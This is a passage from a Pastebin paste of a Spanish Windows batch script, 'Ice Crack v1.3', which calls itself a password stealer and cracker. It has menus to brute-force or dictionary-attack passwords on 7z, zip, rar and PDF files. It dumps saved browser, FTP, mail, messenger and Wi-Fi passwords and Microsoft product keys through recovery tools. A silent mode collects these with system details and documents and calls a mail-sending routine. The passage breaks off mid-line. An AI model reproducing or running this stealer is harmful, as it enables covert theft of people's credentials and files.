API tools faq
paste
PiToLoKo

Ice Crack v1.3

PiToLoKo
Jul 20th, 2012
748
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.53 KB | None | 0 0
raw download clone embed print report
  1. @Echo OFF
  2.  
  3. REM Ice Crack 1.3
  4. REM
  5. REM Stealer y Craqueador de contraseñas
  6. REM
  7. REM Visita Foro.ElHacker.Net
  8.  
  9. Set Folder=
  10. Set Mail=
  11. Set Ruta=
  12.  
  13. :: Aquí puedes definir la carpeta por defecto donde se guarda todo!!
  14. ::
  15. :: Mono normal
  16. Set "Folder=%userprofile%\desktop\%Computername%\%Username%\%Date:/=-%"
  17. ::
  18. :: Modo silencioso
  19. IF NOT "%*" EQU "" (Set "Folder=%~dp0%Computername%\%Username%\%Date:/=-%")
  20. :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
  21.  
  22. REM x86/x64
  23. set | find /I "PROCESSOR_ARCHITECTURE" | Find "64" >nul && Set "Bits=64" || (Set "Bits=32")
  24.  
  25. :: Silent switches
  26.  
  27. REM Winrar (RarSFX)
  28. Echo "%~1" | FIND /I "/silent" >NUL && Echo "%~2" | FIND /I "email:" >NUL && (Call :Silentmail %*)
  29. Echo "%~1" | FIND /I "/silent" >NUL && Echo "%*" | FIND /V /I "email" >NUL && Echo "%~2" | FIND /I "ruta:" >NUL && (For /F "Tokens=1,* delims=:" %%a in ('Echo %*') do (Set "Folder=%%b"))
  30. Echo "%~1" | FIND /I "/silent" >NUL && Echo "%~2" | FIND /I "email:" >NUL && Echo "%~3" | FIND /I "ruta:" >NUL && (For /F "Tokens=4,* delims=: " %%a in ('Echo %*') do (Set "Folder=%%b"))
  31. Echo "%~1" | FIND /I "/silent" >NUL && Echo "%~3" | FIND /I "ruta:" >NUL && Echo "%~2" | FIND /V /I "email" >NUL && (For /F "Tokens=1,* delims=:" %%a in ('Echo %*') do (Set "Folder=%%b"))
  32. Echo "%~1" | FIND /I "/silent" >NUL && Echo "%~3" | FIND /I "email:" >NUL && Echo "%~4" | FIND /I "ruta:" >NUL && (For /F "Tokens=2,* delims=:" %%a in ('Echo %*') do (Set "Folder=%%b" & Call :Silentmail %*))
  33. IF "%FOLDER:~-1%" EQU "\" (Set "Folder=%FOLDER:~0,-1%")
  34.  
  35. REM Normal
  36. If /I "%~1 %~2" EQU "/silent info" (
  37. Set "Files=info"
  38. Call :Silentmail %*
  39. goto :TODO_INFO
  40. )
  41. If /I "%~1 %~2" EQU "/silent files" (
  42. Set "Files=Documentos e imagenes"
  43. Call :Silentmail %*
  44. goto :FILE_DOCS_AND_PICS
  45. )
  46. If /I "%~1 %~2" EQU "/silent pass" (
  47. Set "Files=contrase¤as"
  48. Call :Silentmail %*
  49. goto :TODO_PASS
  50. )
  51. Echo "%~1" | FIND /I "/silent" && Echo "%~2" | FINDSTR /I "email: @" && (
  52. Call :Silentmail %*
  53. Set "Files=contrase¤as"
  54. call :TODO_PASS TODO
  55. Set "Files=info"
  56. call :TODO_INFO TODO
  57. Set "Files=Documentos e imagenes"
  58. Call :FILE_DOCS_AND_PICS TODO
  59. Echo. Se ha guardado una copia en la carpeta:
  60. Echo. "%FOLDER%" | MORE
  61. Exit /B 0
  62. )
  63. IF /I "%1" EQU "/silent" (
  64. Set "Files=contrase¤as"
  65. call :TODO_PASS TODO
  66. Set "Files=info"
  67. call :TODO_INFO TODO
  68. Set "Files=Documentos e imagenes"
  69. Call :FILE_DOCS_AND_PICS TODO
  70. Echo. Se ha guardado una copia en la carpeta:
  71. Echo. "%FOLDER%" | MORE
  72. Exit /B 0
  73. )
  74. GOTO :MENU
  75.  
  76. :Silentmail
  77. Echo "%~2" | Find /I "email" >nul && (
  78. Echo "%*" | Find "@" >NUL && For /F "Tokens=2,3,* Delims=: " %%a in ('Echo "%*"') Do (Set "Mail=%%b" & If %Bits% EQU 64 (Set sevenzip=7zx64) ELSE (Set sevenzip=7zx86))
  79. Goto :EOF
  80. )
  81. Echo "%~3" | Find /I "email" >nul && (
  82. Echo "%*" | Find "@" >NUL && For /F "Tokens=3,4,* Delims=: " %%a in ('Echo "%*"') Do (Set "Mail=%%b" & If %Bits% EQU 64 (Set sevenzip=7zx64) ELSE (Set sevenzip=7zx86))
  83. Goto :EOF
  84. )
  85.  
  86. :LOGO
  87. CLS
  88. Echo.
  89. Echo. Ice Crack v1.3 ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± © EleKtro H@cker ±±±±±±±±±±±±
  90. Echo. ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ | MORE
  91. GOTO :EOF
  92.  
  93.  
  94.  
  95. :####:
  96. :Menu:
  97. :####:
  98.  
  99. Title Ice Crack v1.3
  100. Mode con cols=90 lines=30
  101. Nircmd win center ititle "Ice Crack" >nul 2>&1
  102. Color 3f
  103. Set Num=0
  104. Set Tipo=
  105. Call :Logo
  106. Echo. Bienvenido, ¨Que desea hacer?. | MORE | MORE
  107. Echo. (1)  Crackear contrase¤a de un archivo | MORE
  108. Echo. (2)  Recuperar contrase¤a de... | MORE
  109. Echo. (3)  Recuperar informaci¢n de... | MORE
  110. Echo. (4)  Recuperar archivos de... | MORE
  111. Echo. (5)  Cambiar^\Eliminar la contrase¤a de un usuario | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE
  112. Echo. (A) Ayuda
  113. Echo. (S) Salir...
  114. Set /P Tipo=^>^>^>
  115. If NOT Defined Tipo (Goto :Menu:)
  116. If "%Tipo%" EQU "1" (Goto :UNO:)
  117. If "%Tipo%" EQU "2" (Goto :DOS:)
  118. If "%Tipo%" EQU "3" (Goto :TRES:)
  119. If "%Tipo%" EQU "4" (Goto :CUATRO:)
  120. If "%Tipo%" EQU "5" (Goto :CINCO:)
  121. If /I "%Tipo%" EQU "A" (Goto :Help)
  122. If /I "%Tipo%" EQU "S" (Exit)
  123. Goto :Menu
  124.  
  125.  
  126. :###:
  127. :UNO:
  128. :###:
  129. Set tipo=
  130. Call :Logo
  131. Echo. Elija el tipo de archivo. | MORE | MORE
  132. Echo. (1) 7z | MORE
  133. Echo. (2) Pdf | MORE
  134. Echo. (3) Pst | MORE
  135. Echo. (4) Rar | MORE
  136. Echo. (5) Zip | MORE | MORE | MORE | MORE | MORE | MORE | MORE
  137. Echo. (0) Volver... | MORE | MORE | MORE
  138. Set /P Tipo=^>^>^>
  139. If NOT Defined Tipo (Goto :UNO)
  140. If "%Tipo%" EQU "1" (Set "tipo=7z" & Goto :7za)
  141. If "%Tipo%" EQU "2" (Set "tipo=Pdf" & Goto :qpdf)
  142. If "%Tipo%" EQU "3" (Set "tipo=Pst" & Goto :PstPassword)
  143. If "%Tipo%" EQU "4" (Set "tipo=Rar" & Goto :UnRar)
  144. If "%Tipo%" EQU "5" (Set "tipo=Zip" & Goto :7za)
  145. If "%Tipo%" EQU "0" (goto :Menu:)
  146. Goto :UNO:
  147.  
  148.  
  149. ::::
  150. :7za
  151. ::::
  152. Set Modo=
  153. CLS
  154. Echo.
  155. Echo. Tipo: %tipo%
  156. Echo. ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ | MORE
  157. Echo. Elija el modo de fuerza bruta. | MORE
  158. Echo. (1) Secuencia | MORE
  159. Echo. (2) Usar diccionario | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE
  160. Echo. (0) Volver. | MORE | MORE | MORE
  161. Set /P Modo=^>^>^>
  162. CLS
  163. If NOT Defined Modo (Goto :7za)
  164. Echo "%modo%"| Findstr "[0-2]" >nul || (Goto :7za)
  165.  
  166. IF "%MODO%" EQU "1" (
  167. call :Elegir_Archivo
  168. Setlocal EnableDelayedExpansion
  169. for /L %%a in (1,1,50) do (call :7za_secuencia %%a)
  170. )
  171.  
  172. IF "%MODO%" EQU "2" (
  173. call :Elegir_Archivo
  174. call :Elegir_Diccionario
  175. Setlocal EnableDelayedExpansion
  176. goto :7za_diccionario
  177.  
  178. )
  179. Goto :7za
  180.  
  181.  
  182. ::::::::::::::::
  183. :7za_diccionario
  184. ::::::::::::::::
  185.  
  186. For /F "Tokens=*" %%# in ('type %wordlist%') do (
  187. CLS
  188. Echo.
  189. Echo. Crackeando contrase¤a, porfavor, espere... | MORE
  190. Echo. Probando combinaci¢n: %%# | MORE
  191. 7zx86.exe t %archivo% -p"%%#" | find /I "OK" >NUL
  192. If !Errorlevel! EQU 0 (
  193. Echo. | MORE | MORE | MORE | MORE
  194. Echo. La contrase¤a es: "%%#" | MORE
  195. pause
  196. Goto :MENU:
  197. )
  198.  
  199. )
  200.  
  201. Echo.
  202. Echo. No se ha encontrado ninguna combinaci¢n correcta.
  203. echo.
  204. pause
  205. Goto :MENU:
  206.  
  207.  
  208. :Verify_7za
  209.  
  210. ::::::::::::::
  211. :7za_secuencia
  212. ::::::::::::::
  213.  
  214. Set "Caracteres=a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U W X Y Z 1 2 3 4 5 6 7 8 9 0 . , : = @ # $"
  215. Set "init=0"
  216. Set "longitud=%1"
  217.  
  218. Call :Generar_7za
  219. Goto :EOF
  220.  
  221.  
  222. :Generar_7za
  223.  
  224. If %init% NEQ %Longitud% (
  225. Set /a "init+=1"
  226. For %%c in (!caracteres!) do call :Generar_7za "%~1%%~c"
  227. Set /a "init-=1"
  228. ) ELSE (
  229. Set "String=%~1"
  230. CLS
  231. Echo.
  232. Echo. Crackeando contrase¤a, porfavor, espere... | MORE
  233. Echo. Probando combinaci¢n: !String! | MORE
  234. 7zx86.exe t %archivo% -p"!String!" | find /I "OK" >NUL || (GOTO:EOF)
  235. Echo. | MORE | MORE | MORE | MORE
  236. Echo. La contrase¤a es: "!STRIGN!" | MORE
  237. pause
  238. Goto :MENU:
  239. )
  240. Goto :EOF
  241.  
  242. Echo.
  243. Echo. No se ha encontrado ninguna combinaci¢n correcta.
  244. echo.
  245. pause
  246. Goto :MENU:
  247.  
  248.  
  249. :::::
  250. :QPDF
  251. :::::
  252.  
  253. Set Modo=
  254.  
  255. CLS
  256. Echo.
  257. Echo. Tipo: %tipo%
  258. Echo. ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ | MORE
  259. Echo. Elija el modo de fuerza bruta. | MORE
  260. Echo. (1) Secuencia | MORE
  261. Echo. (2) Usar diccionario | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE
  262. Echo. (0) Volver. | MORE | MORE | MORE
  263. Set /P Modo=^>^>^>
  264. CLS
  265.  
  266. If NOT Defined Modo (Goto :QPDF)
  267. IF "%MODO%" EQU "0" (Goto :UNO:)
  268. Echo "%modo%"| Findstr "[0-2]" >nul
  269. if NOT %errorlevel% EQU 0 (Goto :QPDF)
  270.  
  271. IF "%MODO%" EQU "1" (
  272. call :Elegir_Archivo
  273. Setlocal EnableDelayedExpansion
  274. for /L %%a in (1,1,50) do (call :qpdf_secuencia %%a)
  275. )
  276.  
  277. IF "%MODO%" EQU "2" (
  278. call :Elegir_Archivo
  279. call :Elegir_Diccionario
  280. Setlocal EnableDelayedExpansion
  281. goto :QPDF_diccionario
  282.  
  283. )
  284. Goto :QPDF
  285.  
  286.  
  287. :::::::::::::::::
  288. :QPDF_diccionario
  289. :::::::::::::::::
  290.  
  291. For /F "Tokens=*" %%# in ('type %wordlist%') do (
  292. CLS
  293. Echo.
  294. Echo. Crackeando contrase¤a, porfavor, espere... | MORE
  295. Echo. Probando combinaci¢n: %%# | MORE
  296. qpdf --decrypt --password="%%#" %archivo% "%Temp%\Ice Crack.pdf.tmp" >NUL 2>&1
  297. If !ErrorLevel! EQU 0 (
  298. Echo. | MORE | MORE | MORE | MORE
  299. Echo. La contrase¤a es: %%# | MORE
  300. pause
  301. Goto :MENU:
  302. )
  303. )
  304.  
  305. Echo.
  306. Echo. No se ha encontrado ninguna combinaci¢n correcta.
  307. echo.
  308. pause
  309. Goto :MENU:
  310.  
  311.  
  312. :::::::::::::::
  313. :QPDF_secuencia
  314. :::::::::::::::
  315.  
  316. Set "Caracteres=a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U W X Y Z 1 2 3 4 5 6 7 8 9 0 . , : = @ # $"
  317. Set "init=0"
  318. Set "longitud=%1"
  319.  
  320. Call :Generar_QPDF
  321. Goto :EOF
  322.  
  323.  
  324. :Generar_QPDF
  325.  
  326. If %init% NEQ %Longitud% (
  327. Set /a "init+=1"
  328. For %%c in (!caracteres!) do call :Generar_QPDF "%~1%%~c"
  329. Set /a "init-=1"
  330. ) ELSE (
  331. Set "String=%~1"
  332. CLS
  333. Echo.
  334. Echo. Crackeando contrase¤a, porfavor, espere... | MORE
  335. Echo. Probando combinaci¢n: !String! | MORE
  336. qpdf --decrypt --password="!String!" %archivo% "%Temp%\Ice Crack.pdf.tmp" >NUL 2>&1
  337. If !errorlevel! EQU 0 (
  338. Echo. | MORE | MORE | MORE | MORE
  339. Echo. La contrase¤a es: %%# | MORE
  340. pause
  341. Goto :MENU:
  342. )
  343. )
  344. Goto :EOF
  345.  
  346. Echo.
  347. Echo. No se ha encontrado ninguna combinaci¢n correcta. | MORE
  348. pause
  349. Goto :MENU:
  350.  
  351.  
  352. ::::::::::::
  353. :PstPassword
  354. ::::::::::::
  355.  
  356. CLS
  357. Echo.
  358. call :Elegir_Archivo
  359. PstPassword /stext "%temp%\Ice Crack PST.txt.tmp" /pstfiles %archivo%
  360. type "%temp%\Ice Crack PST.txt.tmp" | MORE /E /C
  361. del /Q "%temp%\Ice Crack PST.txt.tmp"
  362. Echo.
  363. pause
  364. Goto :MENU:
  365.  
  366.  
  367. ::::::
  368. :unrar
  369. ::::::
  370.  
  371. Set Modo=
  372.  
  373. CLS
  374. Echo.
  375. Echo. Tipo: %tipo%
  376. Echo. ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ | MORE
  377. Echo. Elija el modo de fuerza bruta. | MORE
  378. Echo. (1) Secuencia | MORE
  379. Echo. (2) Usar diccionario | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE | MORE
  380. Echo. (0) Volver. | MORE | MORE | MORE
  381. Set /P Modo=^>^>^>
  382. CLS
  383.  
  384. If NOT Defined Modo (Goto :unrar)
  385. IF "%MODO%" EQU "0" (Goto :UNO:)
  386. Echo "%modo%"| Findstr "[0-2]" >nul
  387. if NOT %errorlevel% EQU 0 (Goto :unrar)
  388.  
  389. If %Bits% EQU 64 (Set programa=unrarx64) ELSE (Set programa=unrarx86)
  390.  
  391.  
  392. IF "%MODO%" EQU "1" (
  393. call :Elegir_Archivo
  394. Setlocal EnableDelayedExpansion
  395. for /L %%a in (1,1,50) do (call :unrar_secuencia %%a)
  396. )
  397.  
  398. IF "%MODO%" EQU "2" (
  399. call :Elegir_Archivo
  400. call :Elegir_Diccionario
  401. Setlocal EnableDelayedExpansion
  402. goto :unrar_diccionario
  403.  
  404. )
  405. Goto :unrar
  406.  
  407.  
  408. ::::::::::::::::::
  409. :unrar_diccionario
  410. ::::::::::::::::::
  411.  
  412. For /F "Tokens=*" %%# in ('type %wordlist%') do (
  413. CLS
  414. echo.
  415. Echo. Crackeando contrase¤a, porfavor, espere... | MORE
  416. Echo. Probando combinaci¢n: %%# | MORE
  417. %Programa%.exe t %archivo% -p"%%#" >NUL 2>&1
  418. If !Errorlevel! EQU 0 (
  419. Echo. | MORE | MORE | MORE | MORE
  420. Echo. La contrase¤a es: "%%#" | MORE
  421. pause
  422. Goto :MENU:
  423. )
  424. )
  425.  
  426.  
  427. Echo.
  428. Echo. No se ha encontrado ninguna combinaci¢n correcta. | MORE
  429. pause
  430. Goto :MENU:
  431.  
  432.  
  433. ::::::::::::::::
  434. :unrar_secuencia
  435. ::::::::::::::::
  436.  
  437. Set "Caracteres=a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U W X Y Z 1 2 3 4 5 6 7 8 9 0 . , : = @ # $"
  438. Set "init=0"
  439. Set "longitud=%~1"
  440.  
  441. Call :Generar_RAR
  442. Goto :EOF
  443.  
  444. :Generar_RAR
  445.  
  446. If %init% NEQ %Longitud% (
  447. Set /a "init+=1"
  448. For %%c in (!caracteres!) do call :Generar_RAR "%~1%%~c"
  449. Set /a "init-=1"
  450. ) ELSE (
  451. Set "String=%~1"
  452. CLS
  453. Echo.
  454. Echo. Crackeando contrase¤a, porfavor, espere... | MORE
  455. Echo. Probando combinaci¢n: !String! | MORE
  456. %Programa%.exe t %archivo% -p"!String!" >NUL 2>&1 || GOTO:EOF
  457. Echo. | MORE | MORE | MORE | MORE
  458. Echo. La contrase¤a es: %* | MORE
  459. pause
  460. Goto :MENU:
  461. )
  462. Goto :EOF
  463.  
  464.  
  465. Echo.
  466. Echo. No se ha encontrado ninguna combinaci¢n correcta. | MORE
  467. pause
  468. Goto :MENU:
  469.  
  470.  
  471. :###:
  472. :DOS:
  473. :###:
  474. Set tipo=
  475. Call :Logo
  476. Echo. Elija el tipo de contrase¤a. | MORE | MORE
  477. Echo. (1) Navegador | MORE
  478. Echo. (2) Messenger | MORE
  479. Echo. (3) Cliente de correo | MORE
  480. Echo. (4) Cliente FTP | MORE
  481. Echo. (5) Wifi | MORE
  482. Echo. (6) Serial de Office | MORE
  483. Echo. (7) Serial de Windows | MORE
  484. Echo. (8) Recuperar todas las contrase¤as posibles de "%Username%" | MORE
  485. Echo. (0) Volver... | MORE | MORE | MORE
  486. Set /P Tipo=^>^>^>
  487.  
  488. If NOT Defined Tipo (Goto :DOS:)
  489. If "%Tipo%" EQU "1" (Goto :BrowserPasswordDecryptor)
  490. If "%Tipo%" EQU "2" (Goto :MessengerPasswordDecryptor)
  491. If "%Tipo%" EQU "3" (Goto :MailPasswordDecryptor)
  492. If "%Tipo%" EQU "4" (Goto :FtpPasswordDecryptor)
  493. If "%Tipo%" EQU "5" (Goto :WirelessKeyView)
  494. If "%Tipo%" EQU "6" (Goto :ProduKey_OFFICE)
  495. If "%Tipo%" EQU "7" (Goto :ProduKey_WINDOWS)
  496. If "%Tipo%" EQU "8" (Goto :TODO_PASS)
  497. If "%Tipo%" EQU "0" (goto :Menu:)
  498. Goto :DOS:
  499.  
  500. :BrowserPasswordDecryptor
  501. Title Ice Crack v1.3 ( Contrase¤as del navegador ^)
  502. BrowserPasswordDecryptor.exe "%TEMP%\Ice crack navegadores.txt"
  503. type "%TEMP%\Ice crack navegadores.txt" | FIND /V /I "Browser" | FIND /V /I "Password List" | FIND /V /I "Password Recovery" | Find /V /I "produced by" | FIND /V /I "*****" | FIND /V /I "securityxploded" | Find /V /I "____________________________________________________________________________________" | MORE /E /C
  504. pause
  505. Goto :MENU:
  506.  
  507. :MessengerPasswordDecryptor
  508. Title Ice Crack v1.3 ( Contrase¤as del Messenger ^)
  509. MessengerPasswordDecryptor.exe "%TEMP%\Ice crack MSN.txt"
  510. type "%TEMP%\Ice crack MSN.txt" | FIND /V /I "Browser" | FIND /V /I "Password List" | FIND /V /I "Password Recovery" | Find /V /I "produced by" | FIND /V /I "*****" | FIND /V /I "securityxploded" | Find /V /I "____________________________________________________________________________________" | MORE /E /C
  511. pause
  512. Goto :MENU:
  513.  
  514. :FtpPasswordDecryptor
  515. Title Ice Crack v1.3 ( Contrase¤as del cliente FTP ^)
  516. FtpPasswordDecryptor.exe "%TEMP%\Ice crack FTP.txt"
  517. type "%TEMP%\Ice crack FTP.txt" | FIND /V /I "Browser" | FIND /V /I "Password List" | FIND /V /I "Password Recovery" | Find /V /I "produced by" | FIND /V /I "*****" | FIND /V /I "securityxploded" | Find /V /I "____________________________________________________________________________________" | MORE /E /C
  518. pause
  519. Goto :MENU:
  520.  
  521. :MailPasswordDecryptor
  522. Title Ice Crack v1.3 ( Contrase¤as del cliente de correo ^)
  523. MailPasswordDecryptor.exe "%TEMP%\Ice crack CORREO.txt"
  524. type "%TEMP%\Ice crack CORREO.txt" | FIND /V /I "Browser" | FIND /V /I "Password List" | FIND /V /I "Password Recovery" | Find /V /I "produced by" | FIND /V /I "*****" | FIND /V /I "securityxploded" | find /V /I "_______________________________________" | MORE /E /C
  525. pause
  526. Goto :MENU:
  527.  
  528. :WirelessKeyView
  529. Title Ice Crack v1.3 ( Contrase¤as del Wifi ^)
  530. If %Bits% EQU 64 (WirelessKeyView_x64 /stext "%TEMP%\Ice crack WIFI.txt") ELSE (WirelessKeyView_x86 /stext "%TEMP%\Ice crack WIFI.txt")
  531. type "%TEMP%\Ice crack WIFI.txt" | MORE /E /C
  532. pause
  533. Goto :MENU:
  534.  
  535. :ProduKey_OFFICE
  536. Title Ice Crack v1.3 ( Serial de Microsoft Office ^)
  537. ProduKey /windowsKeys 0 /IEKeys 0 /SQLKeys 0 /ExchangeKeys 0 /stext "%TEMP%\Ice crack OFFICE.txt"
  538. type "%TEMP%\Ice crack OFFICE.txt" | MORE /E /C
  539. pause
  540. Goto :MENU:
  541.  
  542. :ProduKey_WINDOWS
  543. Title Ice Crack v1.3 ( Serial de Windows ^)
  544. ProduKey /OfficeKeys 0 /IEKeys 0 /SQLKeys 0 /ExchangeKeys 0 /stext "%TEMP%\Ice crack WINDOWS.txt"
  545. type "%TEMP%\Ice crack WINDOWS.txt" | MORE /E /C
  546. pause
  547. Goto :MENU:
  548.  
  549.  
  550. ::::::::::
  551. :TODO_PASS
  552. ::::::::::
  553.  
  554. Cls
  555. Echo.
  556. Echo. Recuperando todas las contrase¤as posibles de %computername% - %Username%...
  557.  
  558. MKdir "%FOLDER%\Contrase¤as\" >NUL 2>&1
  559.  
  560. BrowserPasswordDecryptor.exe "%FOLDER%\Contrase¤as\Contrase¤as de navegadores.txt"
  561. FtpPasswordDecryptor.exe "%FOLDER%\Contrase¤as\Contrase¤as de clientes FTP.txt"
  562. MailPasswordDecryptor.exe "%FOLDER%\Contrase¤as\Contrase¤as de clientes de correo electronico.txt"
  563. MessengerPasswordDecryptor.exe "%FOLDER%\Contrase¤as\Contrase¤as de clientes de mensajeria instantanea.txt"
  564. PstPassword /stext "%FOLDER%\Contrase¤as\Contrase¤as de archivos PST de Outlook.txt"
  565. ProduKey /stext "%FOLDER%\Contrase¤as\Seriales de productos instalados de Microsoft.txt"
  566. If %Bits% EQU 64 (
  567. WirelessKeyView_x64 /stext "%folder%\Contrase¤as\Contrase¤as de dispositivos WIFI.txt"
  568. ) ELSE (
  569. WirelessKeyView_x86 /stext "%folder%\Contrase¤as\Contrase¤as de dispositivos WIFI.txt"
  570. )
  571. Call :CERO_BYTE "%FOLDER%\Contrase¤as\Contrase¤as de navegadores.txt"
  572. Call :CERO_BYTE "%FOLDER%\Contrase¤as\Contrase¤as de clientes FTP.txt"
  573. Call :CERO_BYTE "%FOLDER%\Contrase¤as\Contrase¤as de clientes de correo electronico.txt"
  574. Call :CERO_BYTE "%FOLDER%\Contrase¤as\Contrase¤as de clientes de mensajeria instantanea.txt"
  575. Call :CERO_BYTE "%FOLDER%\Contrase¤as\Contrase¤as de archivos PST de Outlook.txt"
  576. Call :CERO_BYTE "%FOLDER%\Contrase¤as\Seriales de productos instalados de Microsoft.txt"
  577. Call :CERO_BYTE "%FOLDER%\Contrase¤as\Contrase¤as de dispositivos WIFI.txt"
  578.  
  579. If defined mail (Call :Sendmail)
  580.  
  581. IF /I "%*" EQU "TODO" (Goto :EOF)
  582.  
  583. Echo.
  584. Echo. Se ha guardado una copia en la carpeta:
  585. Echo. "%FOLDER%\Contrase¤as\" | MORE
  586. If /I NOT "%~1" EQU "" (Exit /B 0)
  587. Pause
  588. Goto :MENU:
  589.  
  590. :CERO_Byte
  591. If "%~z1" EQU "0" (Del /Q %1)
  592. If "%~z1" EQU "449" (Del /Q %1)
  593. If "%~z1" EQU "538" (Del /Q %1)
  594. If "%~z1" EQU "542" (Del /Q %1)
  595. If "%~z1" EQU "553" (Del /Q %1)
  596. Goto :EOF
  597.  
  598.  
  599.  
  600. :####:
  601. :TRES:
  602. :####:
  603. Set tipo=
  604. Call :Logo
  605. Echo. Elija el tipo de informaci¢n. | MORE | MORE
  606. Echo. (1) informaci¢n básica acerca del PC | MORE
  607. Echo. (2) informaci¢n avanzada acerca del PC | MORE
  608. Echo. (3) Listar carpetas y archivos del disco duro | MORE
  609. Echo. (4) Recuperar toda la informaci¢n posible de "%username%" | MORE
  610. Echo. (0) Volver... | MORE | MORE | MORE
  611. Set /P tipo=^>^>^>
  612. If NOT Defined Tipo (Goto :TRES:)
  613. If "%Tipo%" EQU "1" (Goto :info_PC)
  614. If "%Tipo%" EQU "2" (Goto :more_info_pc)
  615. If "%Tipo%" EQU "3" (Goto :tree)
  616. If "%Tipo%" EQU "4" (Goto :TODO_INFO)
  617. If "%Tipo%" EQU "0" (goto :Menu:)
  618. Goto :TRES:
  619.  
  620. :info_PC
  621. Cls
  622. Echo: ---------
  623. Echo: Hardware:
  624. Echo: ---------
  625. systeminfo | MORE
  626. pause & cls
  627. Echo: ---------
  628. Echo: Unidades:
  629. Echo: --------- | MORE
  630. fsutil fsinfo drives | MORE
  631. pause & cls
  632. Echo: ---------
  633. Echo: Procesos:
  634. Echo: --------- | MORE
  635. pause & cls
  636. Tasklist | MORE
  637. pause & cls
  638. Echo: ---------------------
  639. Echo: Programas instalados:
  640. Echo: --------------------- | MORE
  641. pause & cls
  642. for /f "tokens=2,*" %%a in ('Reg Query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /S ^|find " DisplayName" ^| SORT') do (Echo %%b)
  643. pause
  644. Goto :MENU:
  645.  
  646. :more_info_pc
  647. Cls
  648. Echo: ---------------------
  649. Echo: Variables de entorno:
  650. Echo: --------------------- | MORE
  651. pause & cls
  652. For /F "tokens=1,* delims==" %%a in ('set') do (
  653. echo %%%%a%%
  654. Echo: %%b | MORE
  655. )
  656. pause & cls
  657. Echo: ---------
  658. Echo: Unidades:
  659. Echo: --------- | MORE
  660. pause & cls
  661. :HDD_INFO
  662. Set /A NEXT+=1
  663. For /F "tokens=%NEXT% delims=Unidades:\ " %%a in ('fsutil fsinfo drives') Do (
  664. If NOT "%%a" EQU "" (
  665. cls
  666. Echo %%a:
  667. Echo -- | MORE
  668. fsutil fsinfo drivetype %%a: | MORE
  669. fsutil fsinfo volumeinfo %%a: | MORE
  670. pause & cls
  671. fsutil fsinfo ntfsinfo %%a: | MORE
  672. pause & cls
  673. fsutil fsinfo statistics %%a: | MORE
  674. pause & cls
  675. fsutil quota query %%a: | MORE
  676. fsutil repair query %%a: | MORE
  677. fsutil resource info %%a: | MORE
  678. pause & cls
  679. Goto :HDD_INFO
  680. )
  681. )
  682. Echo: -----------
  683. Echo: Placa base:
  684. Echo: ----------- | MORE
  685. pause & cls
  686. C:\Windows\System32\wbem\wmic BASEBOARD get /format:list | MORE
  687. pause & cls
  688. Echo: -----
  689. Echo: BIOS:
  690. Echo: ----- | MORE
  691. pause & cls
  692. C:\Windows\System32\wbem\wmic bios get /format:list | Find /V "" | MORE
  693. pause & cls
  694. Echo: ----
  695. Echo: CPU:
  696. Echo: ---- | MORE
  697. pause & cls
  698. C:\Windows\System32\wbem\wmic CPU get /format:list | MORE
  699. pause & cls
  700. Echo: -----
  701. Echo: Boot:
  702. Echo: -----
  703. C:\Windows\System32\wbem\wmic BOOTCONFIG get /format:list | MORE
  704. pause & cls
  705. Echo: --------
  706. Echo: Monitor:
  707. Echo: -------- | MORE
  708. pause & cls
  709. C:\Windows\System32\wbem\wmic DESKTOPMONITOR get /format:list | MORE
  710. pause & cls
  711. Echo: ---------
  712. Echo: Pagefile:
  713. Echo: --------- | MORE
  714. C:\Windows\System32\wbem\wmic PAGEFILE get /format:list | MORE
  715. pause & cls
  716. Echo: -------------
  717. Echo: Zona horaria:
  718. Echo: ------------- | MORE
  719. pause & cls
  720. C:\Windows\System32\wbem\wmic TIMEZONE get /format:list | MORE
  721. pause & cls
  722. Echo: ---------
  723. Echo: Procesos:
  724. Echo: --------- | MORE
  725. pause & cls
  726. C:\Windows\System32\wbem\wmic process get name,caption,Description,ExecutablePath,InstallDate,commandline,UserModeTime /Format:list | MORE
  727. pause & cls
  728. Echo: ---------------------
  729. Echo: Programas instalados:
  730. Echo: --------------------- | MORE
  731. pause & cls
  732. for /f "tokens=*" %%a in ('Reg Query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') do (
  733. for /f "tokens=2,*" %%A in ('Reg Query "%%a" ^| find /I "displayname"') Do (
  734. Echo+
